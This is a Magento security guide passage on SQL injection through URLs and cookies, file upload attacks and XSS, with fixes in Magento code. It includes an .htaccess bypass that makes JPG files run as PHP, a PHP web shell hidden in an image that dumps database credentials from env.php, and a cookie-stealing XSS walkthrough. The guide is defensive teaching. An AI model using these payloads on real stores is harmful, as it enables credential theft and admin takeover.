Magento Security Guide: Best Practices, Features, Checklist

SQL Injections via URLs

Also, the parameters can be passed via the injection not only in this way. It can be done in the URL using the GET method. This vulnerability is similar to the previous one. The difference is only in the accepted data.

Now we know about these patterns and can analyze all the parameters passed to the controller to close the security holes.

SQL Injections via Cookies

Cookies can also be vulnerable to attacks. Here’s what we found in a sample of code:

[php]
$userName = $cookieManager->getCookie('current_user');
$collection->getSelect()->where('username=' . $userName);
[/php]

The cookie parameter is passed to the collection, and it’s not handled. We are setting these cookie values on user login. Can we can trust it? Well... Yes. But a hacker can still change it externally.

OK then! Let’s correct the code:

[php]
$userName = $cookieManager->getCookie('current_user');
$collection->getSelect()-where('username = ?', $userName);
[/php]

It’s a small change. But you let Magento know which parameters it should quote.

File Injections

As we shut these holes down, moving to file injections. On e-commerce stores, you don’t encounter file uploading that often. So it’s easier to check if there are any vulnerabilities.

Here’s an example from a Customer Attributes extension. There’s a file upload field in it. We attempt to download a PHP file instead of an image.

If your attribute is not configured to accept only certain file extensions, we will be able to upload malicious files of any type. After that, we will be able to run the file if we know where it is stored: http://example.com/pub/media/customer/c/o/code.php

Good shot, but not this time! Here’s what you will see:

We’re smart, and we configured the .htaccess to stop any PHP files from running in the media folder.

Order deny, allow

Deny from all

And what if we upload our .htaccess?

http://example.com/media/customer/_/h/.htaccess 

It lets me upload the PHP file into the media folder and run it. See for yourself!

http://example.comy/media/customer/_/h/.hcode.php

This time, we forbid uploading PHP files. Then, we block htaccess uploading and finally implement file uploading via Magento Uploader. It has a feature for checking file extensions. Voila.

But the hackers won’t stop there. They will upload a JPG file, but with a hidden piece of PHP code inside. If it is executed, they’ll get access to the database! In case htaccess lets them do it, of course. Let’s get the previous file and add the following line to it:

AddType application/x-httpd-php.jpg

It allows us to run the code from the image. Using a special tool, say, jhead, we change this apple pic. And leave some malicious code inside:

[php]
<style>body{font-size: 0;}h1{font-size: 12px}<
/style><h1><?
php if(isset($_REQUEST['cmd']))
{$test = require_once ("../../../../../app/etc/env.php");
var_dump($test["db"]);echo "Success";}else{echo '<
img src="./.h-apple-orig.jpg" border=0>';}
[/php]

Visually, the pic hasn’t changed. If the GET parameter is not empty, the result is access to the database.

http://example.com/pub/media/customer/_/h/.h-apple.jpg?cmd=test

Now we just open this URL…

To stop this madness, let’s use this code part for image uploading:

[php]
$uploader = $this->uploaderFactory->create(['fileId' => $fileData]);
$uploader->setAllowedExtensions($allowed);

$uploader->setAllowRenameFiles(true);
$uploader->setFilesDispersion(false);
$uploader->save($uploadDir);
[/php]

It checks the code for acceptable file extension values and resaves the image. Any code that could be executed will be removed at this point.

Now we’re safe from injections! To sum it up, always check the code for the mentioned patterns, test forms, cookies, URLs, and even config settings for security breaches.

Use data typing and escaping, validate data for confidence limits, and use Magento functions for SELECT generation.

Cross-site Scripting

Frontend

In general, while testing for XSS holes, it's important to understand behavior patterns. Look for places where users enter data, and other users are able to see it. Then check if the code was handled for html text.

If the controller file data is saved this way:

[php]
$customData = $this->getRequest()->getParam(‘custom_data’);
$model->setCustomData($customData)
$model->save();
[/php]

And the module's template contains code like this:

[PHP]

<?= $model->getCustomData(); ?>[/php]

Most probably, the data output wasn't handled. And if the text has an XSS vulnerability which wasn't handled - it'll work. Let's see how this goes in real life.

We're going to test the Custom Forms extension. It collects users' data and lets you see it in the backend.

We put some JavaScript code into the text field of the extension. The code contains a link to a picture, and we have access to the server where it is stored. Using the document cookie function, we get the user cookie and pass it as a GET parameter to the picture location. As we submit the form, the admin can see the message in the Submitted Data backend area. It doesn't look suspicious, but his cookie will be stolen.

Now we can get the stolen admin cookie from the access.log of our server.

And if we add the stolen cookie to our browser for the compromised website, we can access the admin panel without logging in.

That's why store administrators should make their cookies HTTP-only. But even if they didn't do it, we can still protect the form. Let's handle all the output values with the following function:

[php]$value = $escaper->escapeHtml($value);[/php]

By the way, if we do need to output HTML, we can pass the list of tags that won't be escaped as a second parameter.

[php]public function escapeHtml($data, $allowedTags = null) [/php]